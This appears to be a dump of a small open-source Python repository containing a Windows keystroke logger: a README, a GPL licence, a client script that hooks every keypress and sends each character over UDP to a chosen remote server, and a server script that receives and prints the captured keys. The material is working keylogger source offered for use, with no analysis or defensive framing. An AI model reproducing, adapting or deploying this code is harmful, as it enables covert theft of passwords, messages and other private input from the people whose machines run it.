├── README ├── COPYING ├── keylogClient.py └── keylogServer.py /README: -------------------------------------------------------------------------------- 1 | A rather simple python keystroke logger client/server. 2 | 3 | The client is meant for win32 since it relies on pyhook which seems to be only win32. 4 | Client sends keystrokes over UDP port 6666 by default to any IP address specified via 5 | the command line: keylogClient -s -p 6 | 7 | The server receives the keys via udp and prints to screen, translating carrage returns, etc to chr(X); i.e. cr=chr(13) 8 | 9 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | Copyright 2012 Jeff Bryner 2 | 3 | This program is free software: you can redistribute it and/or modify 4 | it under the terms of the GNU General Public License as published by 5 | the Free Software Foundation, either version 3 of the License, or 6 | (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, 9 | but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | GNU General Public License for more details. 12 | 13 | You should have received a copy of the GNU General Public License 14 | along with this program. If not, see . 15 | -------------------------------------------------------------------------------- /keylogClient.py: -------------------------------------------------------------------------------- 1 | import pythoncom 2 | import pyHook 3 | import sys 4 | import socket 5 | from optparse import OptionParser 6 | 7 | def OnKeyboardEvent(event): 8 | try: 9 | MESSAGE=chr(event.Ascii) 10 | sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) 11 | sock.sendto(MESSAGE, (options.server, options.port)) 12 | return True 13 | except socket.error as e: 14 | sys.exit(1) 15 | except KeyboardInterrupt as e: 16 | sys.exit(1) 17 | 18 | 19 | if __name__ == "__main__": 20 | parser = OptionParser() 21 | parser.add_option("-s", dest='server', default='127.0.0.1', help="name or IP address of server") 22 | parser.add_option("-p", dest='port', default=6666,type='int', help="port number") 23 | (options,args) = parser.parse_args() 24 | 25 | hm = pyHook.HookManager() 26 | hm.KeyDown = OnKeyboardEvent 27 | hm.HookKeyboard() 28 | pythoncom.PumpMessages() -------------------------------------------------------------------------------- /keylogServer.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | from optparse import OptionParser 4 | 5 | 6 | def printable(): 7 | #regular string.printable includes \n \t, etc which is a pain to escape. 8 | return ''.join([chr(byte) for byte in range(256) \ 9 | if len(repr(chr(byte))) == 3 or byte == ord('\\')]) 10 | 11 | if __name__ == "__main__": 12 | parser = OptionParser() 13 | parser.add_option("-s", dest='server', default='0.0.0.0', help="IP address to listen on") 14 | parser.add_option("-p", dest='port', default=6666,type='int', help="port number") 15 | (options,args) = parser.parse_args() 16 | 17 | sock = socket.socket(socket.AF_INET, # Internet 18 | socket.SOCK_DGRAM) # UDP 19 | sock.bind((options.server, options.port)) 20 | 21 | while True: 22 | data, addr = sock.recvfrom(1) # buffer size 23 | if data in printable(): 24 | sys.stdout.write("%s"% (data)) 25 | else: 26 | sys.stdout.write("chr(%s)"% (ord(data))) 27 | sys.stdout.flush() --------------------------------------------------------------------------------